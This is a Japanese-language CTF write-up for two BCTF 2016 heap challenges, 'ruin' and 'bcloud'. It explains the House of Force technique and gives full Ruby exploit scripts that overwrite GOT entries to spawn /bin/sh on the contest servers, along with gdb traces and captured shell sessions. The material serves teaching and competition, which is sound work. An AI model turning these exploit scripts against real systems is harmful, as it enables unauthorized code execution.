BCTF 2016 writeup
BCTF 2016にscryptosで参加しました。
チームで2011pts入れて16位、
私は2問解いて350pts入れました(少ないorz)
解けた問題のwriteupを置いておきます(`・ω・´)
ruin (exploit 200)
$ ./ruin.7b694dc96bf316a40ff7163479850f78 please input your 8-bit key:security ============================================== = Welcome to super security strongbox = ============================================== = Update your key to make your secret safer! = ============================================== 1. update key. 2. edit the secret. 3. sign your name. 4. leave & return. Give me your choice(1-4):wrong choice, select again! ============================================== = Welcome to super security strongbox = ============================================== = Update your key to make your secret safer! = ============================================== 1. update key. 2. edit the secret. 3. sign your name. 4. leave & return. Give me your choice(1-4):4 Thanks for using our service. Goodbye!
ARMのヒープ問。
主な仕様はこんな感じ。
- 最初にsecret用に
malloc(8)
した後、8-bit keyなるものの入力を求められる- securityと入力すれば通過できるが、2回までなら間違えてもOK(3回間違えると終了)
- 入力が8バイトで、かつ"security"ではない場合は、ヒープのアドレスがリークする
- メインメニュー
この問題はHouse of Forceと呼ばれるテクニックを使って解くことができる。
House of Forceとは、以下の条件が成り立つとき、malloc
が返すアドレスをコントロールできる、というテクニック。
- ヒープのアドレスをリークできる
- topチャンクの
size
メンバを書き換えられる - 任意サイズ(特にsigned intで負数とみなされる数)の
malloc
が呼べる
以下雑な解説(詳しい話が知りたい方はmalloc
のソースを読みつつGoogle先生に聞いてみてください)
* topチャンクについて +--bss--+ +------------heap---------------- | | | +-------+-----+----------+--------------------- | | | used | +-------+-----+----------+--------------------- ↑top chunk(使えそうな空きチャンクがない場合、次回のmallocではここの領域が使われる) * malloc(24)した場合 +--bss--+ +------------heap---------------- | | | +-------+-----+----------+--------+------------ | | | used | used | +-------+-----+----------+--------+------------ ↑top chunk(確保した分だけ先頭が後ろにずれる) * malloc(0xffffe000)した場合 +--bss--+ +------------heap---------------- | | | +-------+-----+----------+--------------------- | | | used | used +-------+-----+----------+--------------------- ↑top chunk(後ろにずれすぎて整数オーバフローした) ※ただし、(unsigned)top->size >= (unsigned)(要求サイズ + α) が成り立つ場合にtopチャンクが使われるので、 事前にtop->sizeを0xffffffff等に書き換えておく必要がある
ということで、House of Forceを使ってgot周辺にメモリを確保できるか、
- 8-bit key入力部でヒープアドレスリーク
- heap bofでtopチャンクの
size
を0xffffffffに書き換える - topチャンクがgotになるよう、
malloc
で非常に大きな領域を確保する - 再度
malloc
という手順で試してみる。
#coding:ascii-8bit require_relative "../../pwnlib" remote = false if remote host = "166.111.132.49" port = 9999 else host = "localhost" port = 54321 end got = { "atoi" => 0x10f80 } def update_key(tube, key) tube.recv_until("Give me your choice(1-4):") tube.send("1\n") tube.recv_until("enter the new 16-bit key:") tube.send(key) end def edit_secret(tube, secret) raise if secret.include?("\n") tube.recv_until("Give me your choice(1-4):") tube.send("2\n") tube.recv_until("please input your secret:") tube.send(secret + "\n") end def sign(tube, size, name) size = [size].pack("L").unpack("l")[0] raise if size > 32 || (name && name.include?("\n")) tube.recv_until("Give me your choice(1-4):") tube.send("3\n") tube.recv_until("please input your name length:") tube.send("#{size}\n") tube.recv_until("enter your name:") tube.send(name + "\n") if name end PwnTube.open(host, port, nil){|tube| # ヒープアドレスリーク puts "[*] leak heap base" tube.recv_until("please input your 8-bit key:") tube.send("A" * 8) heap_base = tube.recv_capture(/#{"A" * 8}(.{3,4}) is wrong/)[0].ljust(4, "\0").unpack("L")[0] - 8 top_chunk = heap_base + 0x10 puts "heap base = 0x%08x" % heap_base puts "[*] send 8-byte key" tube.recv_until("please input your 8-bit key:") tube.send("security") # heap bofでtop->sizeを0xffffffffに書き換える puts "[*] overwrite top->size" payload = "" payload << "\0" * 12 payload << [-1].pack("L") edit_secret(tube, payload) # topチャンクがgotになるよう、mallocで非常に大きな領域を確保する puts "[*] trigger house of force" sign(tube, (got["atoi"] - top_chunk) - 16, nil) tube.interactive }
手順3が終わった時点で一旦止めて、topチャンクがどこになっているかを確認してみる。
gdb-peda$ cat /proc/2609/maps 00008000-00009000 r-xp 00000000 b3:02 1046534 /home/user/ctf/bctf_2016/exp200_ruin/ruin.7b694dc96bf316a40ff7163479850f78 00010000-00011000 rw-p 00000000 b3:02 1046534 /home/user/ctf/bctf_2016/exp200_ruin/ruin.7b694dc96bf316a40ff7163479850f78 00011000-00032000 rw-p 00000000 00:00 0 [heap] 76ef8000-76ef9000 rw-p 00000000 00:00 0 76ef9000-76fd3000 r-xp 00000000 b3:02 399505 /lib/arm-linux-gnueabihf/libc-2.13.so 76fd3000-76fdb000 ---p 000da000 b3:02 399505 /lib/arm-linux-gnueabihf/libc-2.13.so 76fdb000-76fdd000 r--p 000da000 b3:02 399505 /lib/arm-linux-gnueabihf/libc-2.13.so 76fdd000-76fde000 rw-p 000dc000 b3:02 399505 /lib/arm-linux-gnueabihf/libc-2.13.so 76fde000-76fe1000 rw-p 00000000 00:00 0 76fe1000-76ff7000 r-xp 00000000 b3:02 399502 /lib/arm-linux-gnueabihf/ld-2.13.so 76ffc000-76ffe000 rw-p 00000000 00:00 0 76ffe000-76fff000 r--p 00015000 b3:02 399502 /lib/arm-linux-gnueabihf/ld-2.13.so 76fff000-77000000 rw-p 00016000 b3:02 399502 /lib/arm-linux-gnueabihf/ld-2.13.so 7efdf000-7f000000 rw-p 00000000 00:00 0 [stack] ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors] gdb-peda$ p main_arena->top $4 = (mchunkptr) 0x10f78 ←main_arena->topがgotを指すようになった
この状態で再度malloc
させてみる。
gdb-peda$ xuntil 0x87f0 Temporary breakpoint 2 at 0x87f0 [------------------------------------------registers-------------------------------------------] SP : 0x7efff358 --> 0x7efff36c --> 0x8b50 --> 0xe3a03000 R0 : 0x10f80 --> 0x76f202fd --> 0x1220a21 ←gotのアドレスが返ってきた R1 : 0x40000000 R2 : 0x20000000 R3 : 0x0 R4 : 0x0 R5 : 0x7efff388 --> 0x0 R6 : 0x8630 --> 0xe3a0b000 R7 : 0x0 R8 : 0x0 R9 : 0x0 R10: 0x76fff000 --> 0x1df48 --> 0x0 R11: 0x7efff35c --> 0x8ae4 --> 0xea000009 R12: 0x76fde288 --> 0x76fde280 --> 0x10f90 --> 0x0 CPSR: 0x60000010 [---------------------------------------------code---------------------------------------------] 0x87e4: bne 0x8800 0x87e8: mov r0, #16 0x87ec: bl 0x85dc => 0x87f0: mov r3, r0 0x87f4: mov r2, r3 0x87f8: ldr r3, [pc, #60] ;; 0x883c 0x87fc: str r2, [r3] 0x8800: ldr r3, [pc, #56] ;; 0x8840 [--------------------------------------------stack---------------------------------------------] Display various information of current execution context Usage: context [reg,code,stack,all] [code/stack length] Temporary breakpoint 2, 0x000087f0 in ?? ()
ここで確保した領域に対して書き込みを行えばgot overwriteができる。
このプログラムではmalloc
で確保した領域に対して書き込みしか出来ないため、
- got overwriteで
atoi
をprintf
に書き換える - stack based fsbができるようになるので、これを利用してlibcのベースアドレスを調べる
- 再度got overwriteで
atoi
をsystem
に書き換える system("/bin/sh")
でシェルを立ち上げる
という手順で攻略した。
ただし、リモートのlibcが与えられていないため、
- ブルートフォースでlibcのベースアドレスを調べる
- libcのベースアドレスにあるELFヘッダをfsbを使って読み、libcのエントリポイントのアドレスを調べる
- ipをlibcのエントリポイントに飛ばす
という手順でリモートのlibcのbannerを表示させ、リモートのlibcを特定した。
GNU C Library (Debian EGLIBC 2.13-38+rpi2+deb7u8) stable release version 2.13, by Roland McGrath et al. Copyright (C) 2011 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 4.6.3. Compiled on a Linux 3.2.51 system on 2015-03-15. Available extensions: crypt add-on version 2.1 by Michael Glad and others GNU Libidn by Simon Josefsson Native POSIX Threads Library by Ulrich Drepper et al Support for some architectures added on, not maintained in glibc core. BIND-8.2.3-T5B libc ABIs: UNIQUE For bug reporting instructions, please see: <http://www.debian.org/Bugs/>.
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "166.111.132.49" port = 9999 libc_offset = { "__libc_start_main_ret" => 0x1781c, "system" => 0x03a8b8 } else host = "localhost" port = 54321 libc_offset = { "__libc_start_main_ret" => 0x16cfb, "system" => 0x2e7c9 } end offset = { "printf" => 0x8594, ".plt" => 0x8574 } got = { "atoi" => 0x10f80 } def update_key(tube, key) tube.recv_until("Give me your choice(1-4):") tube.send("1\n") tube.recv_until("enter the new 16-bit key:") tube.send(key) end def edit_secret(tube, secret) raise if secret.include?("\n") tube.recv_until("Give me your choice(1-4):") tube.send("2\n") tube.recv_until("please input your secret:") tube.send(secret + "\n") end def sign(tube, size, name) size = [size].pack("L").unpack("l")[0] raise if size > 32 || (name && name.include?("\n")) tube.recv_until("Give me your choice(1-4):") tube.send("3\n") tube.recv_until("please input your name length:") tube.send("#{size}\n") tube.recv_until("enter your name:") tube.send(name + "\n") if name end PwnTube.open(host, port, nil){|tube| puts "[*] leak heap base" tube.recv_until("please input your 8-bit key:") tube.send("A" * 8) heap_base = tube.recv_capture(/#{"A" * 8}(.{3,4}) is wrong/)[0].ljust(4, "\0").unpack("L")[0] - 8 top_chunk = heap_base + 0x10 puts "heap base = 0x%08x" % heap_base puts "[*] send 8-byte key" tube.recv_until("please input your 8-bit key:") tube.send("security") puts "[*] overwrite top->size" payload = "" payload << "\0" * 12 payload << [-1].pack("L") edit_secret(tube, payload) puts "[*] trigger house of force" sign(tube, (got["atoi"] - top_chunk) - 16, nil) puts "[*] got overwrite (atoi->printf)" payload = "" payload << [offset["printf"]].pack("L") payload << [offset[".plt"]].pack("L") * 3 update_key(tube, payload) puts "[*] leak libc base" tube.recv_until("Give me your choice(1-4):") tube.send("%21$08x\n") libc_base = tube.recv_capture(/([0-9a-f]{8})/)[0].to_i(16) - libc_offset["__libc_start_main_ret"] puts "libc base = 0x%08x" % libc_base puts "[*] got overwrite (atoi->system)" tube.recv_until("Give me your choice(1-4):") tube.send("\n") # printfは表示した文字数を戻り値として返すので、1文字表示させればメニューの1番を選択できる tube.recv_until("enter the new 16-bit key:") payload = "" payload << [libc_base + libc_offset["system"]].pack("L") payload << [offset[".plt"]].pack("L") * 3 tube.send(payload) puts "[*] trigger shell" tube.recv_until("Give me your choice(1-4):") tube.send("/bin/sh\0\n") tube.interactive }
$ ruby ruin.rb [*] leak heap base heap base = 0x004be000 [*] send 8-byte key [*] overwrite top->size [*] trigger house of force [*] got overwrite (atoi->printf) [*] leak libc base libc base = 0x76e6a000 [*] got overwrite (atoi->system) [*] trigger shell [*] interactive mode id uid=1001(ruin) gid=1002(ruin) groups=1002(ruin) ls -la total 20 drwxr-xr-x 2 root root 4096 Mar 18 14:25 . drwxr-xr-x 4 root root 4096 Mar 18 12:22 .. -rw-r--r-- 1 root root 26 Mar 18 14:26 flag -rwxr-xr-x 1 root root 5484 Mar 18 12:26 ruin cat flag BCTF{H0w_3lf_Ru1n3d_XmaS} exit
FLAG:BCTF{H0w_3lf_Ru1n3d_XmaS}
bcloud (exploit 150)
$ ./bcloud.9a3bd1d30276b501a51ac8931b3e43c4 Input your name: hoge Hey hoge! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM! Now let's set synchronization options. Org: hoge Host: hoge OKay! Enjoy:) 1.New note 2.Show note 3.Edit note 4.Delete note 5.Syn 6.Quit option--->> 6 Bye!
x86なメモ管理アプリ。
主な仕様はこんな感じ。
- 全般
- 文字列入力用の関数にoff by one bofがある
- 最初にname, Org, Hostの入力を求められる
- メインメニュー
- 1.New note
- メモを登録する
- 長さが指定でき、指定した大きさ+4バイトの領域を
malloc
で確保する - 相変わらず長さに負数が指定できる
- 2.Show note
- メモ管理アプリなのにまさかの未実装
- 3.Edit note
- メモを編集する
- 4.Delete note
- 登録時に確保した領域を
free
し、メモを削除する
- 登録時に確保した領域を
- 5.Syn
- メモのsyncフラグを立てる
- 6.Quit
- おわり
- 1.New note
ruinに続き、この問題もHouse of Forceができる。
- name入力時のheap bofでヒープアドレスをリーク
- Org, Host入力時のheap bofでtopチャンクの
size
を0xffffffffに書き換える - New note時の
malloc
の引数に負数を指定し、topチャンクの先頭をgotに移動させる - 再度New noteすると
malloc
でgotのアドレスが返ってくるので、got overwriteでatoi
をprintf
に書き換える - あとはruinと同じ
という手順で攻略した。
#coding:ascii-8bit require_relative "../../pwnlib" remote = true if remote host = "104.199.132.199" port = 1970 libc_offset = { "_IO_2_1_stderr_" => 0x1aa960, "system" => 0x40190, } else host = "localhost" port = 54321 libc_offset = { "_IO_2_1_stderr_" => 0x1aa960, "system" => 0x40190, } end offset = { "memset@got.plt" => 0x08048576, "printf" => 0x080484d0 } got = { "atoi" => 0x0804b03c } class PwnTube def recv_until_prompt self.recv_until("option--->>\n") end end def add_note(tube, length, content) length = [length].pack("L").unpack("l")[0] tube.recv_until_prompt tube.sendline("1") tube.recv_until("Input the length of the note content:\n") tube.sendline("#{length}") tube.recv_until("Input the content:\n") tube.send(content) if content end def edit_note(tube, id, content) tube.recv_until_prompt tube.sendline("3") tube.recv_until("Input the id:\n") tube.sendline("#{id}") tube.recv_until("Input the new content:\n") tube.send(content) end def delete_note(tube, id) tube.recv_until_prompt tube.sendline("4") tube.recv_until("Input the id:\n") tube.sendline("#{id}") end def synchronize(tube) tube.recv_until_prompt tube.sendline("5") end PwnTube.open(host, port){|tube| puts "[*] leak heap address" tube.recv_until("Input your name:\n") tube.send("A" * 64) heap_base = tube.recv_capture(/#{"A" * 64}(.{,4}!)/)[0].ljust(4, "\0").unpack("L")[0] - 8 top_chunk = heap_base + 0xd8 puts "heap base = 0x%08x" % heap_base puts "[*] overwrite top->size" tube.recv_until("Org:\n") tube.send("A"* 64) tube.recv_until("Host:\n") tube.sendline([-1].pack("L")) puts "[*] trigger house of force" add_note(tube, (got["atoi"] - top_chunk - 24) & 0xffffffff, nil) puts "[*] got overwrite (atoi->printf)" payload = "" payload << [offset["memset@got.plt"]].pack("L") payload << [offset["printf"]].pack("L") add_note(tube, 12, payload + "\n") puts "[*] leak libc base" tube.recv_until_prompt tube.send("%24$p\n") libc_base = tube.recv_capture(/(0x[0-9a-f]+)Invalid option/)[0].to_i(16) - libc_offset["_IO_2_1_stderr_"] puts "libc base = 0x%08x" % libc_base puts "[*] got overwrite (atoi->system)" tube.recv_until_prompt tube.send("%3c\0\n") tube.recv_until("Input the id:\n") tube.send("%c\0\n") payload = "" payload << [offset["memset@got.plt"]].pack("L") payload << [libc_base + libc_offset["system"]].pack("L") tube.send(payload + "\n") puts "[*] trigger shell" tube.recv_until_prompt tube.send("/bin/sh\0\n") tube.interactive }
$ ruby bcloud.rb [*] connected [*] leak heap address heap base = 0x09bdb000 [*] overwrite top->size [*] trigger house of force [*] got overwrite (atoi->printf) [*] leak libc base libc base = 0xf759f000 [*] got overwrite (atoi->system) [*] trigger shell [*] interactive mode id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) ls -la total 72 drwxr-xr-x 42 root root 4096 Mar 20 10:17 . drwxr-xr-x 42 root root 4096 Mar 20 10:17 .. -rwxr-xr-x 1 root root 0 Mar 20 02:38 .dockerenv -rwxr-xr-x 1 root root 0 Mar 20 02:38 .dockerinit drwxr-xr-x 2 root root 4096 Mar 15 04:35 bin drwxr-xr-x 2 root root 4096 Apr 10 2014 boot drwxr-xr-x 5 root root 360 Mar 20 02:38 dev drwxr-xr-x 65 root root 4096 Mar 20 02:38 etc drwxr-xr-x 2 root root 4096 Apr 10 2014 home drwxr-xr-x 14 root root 4096 Mar 20 02:38 lib drwxr-xr-x 2 root root 4096 Mar 15 04:34 lib64 drwxr-xr-x 2 root root 4096 Mar 15 04:34 media drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt drwxr-xr-x 2 root root 4096 Mar 15 04:34 opt dr-xr-xr-x 470 root root 0 Mar 20 02:38 proc drwx------ 2 root root 4096 Mar 20 03:26 root drwxr-xr-x 7 root root 4096 Mar 15 04:34 run drwxr-xr-x 2 root root 4096 Mar 15 23:03 sbin drwxr-xr-x 2 root root 4096 Mar 15 04:34 srv dr-xr-xr-x 13 root root 0 Mar 18 17:16 sys drwxrwxrwt 2 root root 4096 Mar 20 02:38 tmp drwxr-xr-x 15 root root 4096 Mar 20 02:38 usr drwxr-xr-x 17 root root 4096 Mar 20 10:17 var cat /tmp/flag BCTF{3asy_h0uSe_oooof_f0rce} [*] connection closed
フラグが/tmpに入っている問題は初めてだった(小並感)
FLAG:BCTF{3asy_h0uSe_oooof_f0rce}